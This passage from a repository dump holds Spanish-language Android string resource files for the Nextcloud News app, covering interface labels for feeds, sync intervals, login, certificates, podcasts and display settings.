name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rEC/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalo de sincronización</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"toast_GettingMoreItems\">Se inició la descarga de más elementos. Por favor, espera...</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">¿Deseas descargar las imágenes sin conexión a Wi-Fi?</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <string name=\"tv_showing_cached_version\">Mostrando versión en caché</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_add_new_folder\">Agregar nueva carpeta</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <string name=\"action_download_articles_offline\">Descargar artículos sin conexión</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Descargando artículos para uso sin conexión</string>\n    <string name=\"notification_download_images_offline\">Descargando imágenes para uso sin conexión</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <string name=\"import_opml\">Importar OPML</string>\n    <string name=\"export_opml\">Exportar OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_download_wait\">Descargando. Por favor, espera...</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"action_feed_move\">Mover fuente</string>\n    <string name=\"action_feed_notification_settings\">Configuración de notificaciones</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"feed_move_list_description\">Seleccionar carpeta para mover fuente</string>\n    <string name=\"move_feed_root_folder\">Carpeta raíz</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Eliminar carpeta</string>\n    <string name=\"action_folder_rename\">Renombrar carpeta</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <string name=\"confirm_folder_remove\">¿Realmente quieres eliminar esta carpeta? ¡Esto no se puede deshacer!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Recibir notificaciones únicas para esta fuente</string>\n    <string name=\"notification_feed_default\">Todas las fuentes con la configuración predeterminada aparecerán en una notificación</string>\n    <string name=\"notification_feed_none\">Sin notificaciones en absoluto</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"folder_already_exists\">La carpeta ya existe</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Iniciar sesión manual</string>\n    <string name=\"login_sso\">Iniciar sesión usando la aplicación Nextcloud Files</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <string name=\"login_progress_signing_in\">Iniciando sesión...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Se han obtenido %d elemento hasta ahora...</item>\n        <item quantity=\"many\">Se han obtenido %d elementos hasta ahora...</item>\n        <item quantity=\"other\">Se han obtenido %d elementos hasta ahora...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nuevo → Antiguo</string>\n    <string name=\"pref_general_sort_order_old_new\">Antiguo → Nuevo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Acción al deslizar hacia la derecha</string>\n    <string name=\"pref_rename_action_swipe_left\">Acción al deslizar hacia la izquierda</string>\n\n    <string name=\"pref_title_general_search_in\">Buscar en</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"pref_general_search_in_body\">Cuerpo</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Borrando caché. Por favor, espera...</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_ShowFastActions\">Activar funciones de acceso rápido</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"exit_playback\">Salir del reproductor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <string name=\"notification_downloading_podcast_title\">Descargando podcast</string>\n    <string name=\"dialog_podcast_remove_title\">¿Estás seguro?</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_license_summary\">Licencia Pública General Affero GNU (AGPL) versión 3</string>\n    <string name=\"pref_report_issue\">Informar un problema</string>\n    <string name=\"pref_report_issue_summary\">Requiere una cuenta de GitHub (gratuita)</string>\n    <string name=\"pref_contribute\">¡Contribuye!</string>\n    <string name=\"pref_contribute_summary\">Obtener el código fuente</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <string name=\"pref_privacy_summary\">Política de privacidad de Nextcloud News para Android</string>\n    <string name=\"pref_version\">Aplicación Nextcloud News para Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_title_font_size\">Tamaño de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Configuración predeterminada del sistema</string>\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_oled_mode\">Fondo negro</string>\n    <string name=\"pref_oled_mode_summary\">Para tema oscuro en pantallas OLED</string>\n\n    <string name=\"pref_external_player\">Reproductor externo</string>\n    <string name=\"pref_external_player_summary\">Reproducir podcasts en tu aplicación de medios predeterminada</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturas (solo titulares)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturas</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Texto simple</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Titulares</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Texto completo</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Diseño web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vista de tarjeta</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pequeño</string>\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"pref_display_font_size_l\">Grande</string>\n    <string name=\"pref_display_font_size_xl\">Muy grande</string>\n\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_playback_speed\">Velocidad de reproducción</string>\n    <string name=\"content_desc_rewind\">Rebobinar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_expand\">Expandir</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_mark_as_read\">Marcar como leído</string>\n    <string name=\"content_desc_mark_as_unread\">Marcar como no leído</string>\n    <string name=\"content_desc_tap_to_refresh\">Toca para actualizar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_show_password\">Mostrar contraseña</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Parece que tu aplicación de noticias no está instalada o activada en tu servidor. Sigue las instrucciones proporcionadas aquí para configurar la aplicación de noticias en tu servidor primero: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Algo salió mal. Por favor, inténtalo de nuevo.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 horas</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Cambiar cuenta</string>\n    \n    <string name=\"successfully_exported\">Exportado correctamente a:</string>\n    <string name=\"opml_export\">Exportar OPML</string>\n    <string name=\"parsing_opml\">Analizando OPML</string>\n    <string name=\"please_wait\">Por favor, espera...</string>\n    <string name=\"interval_sync_title\">Sincronización por intervalo</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rGT/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rHN/strings.xml",
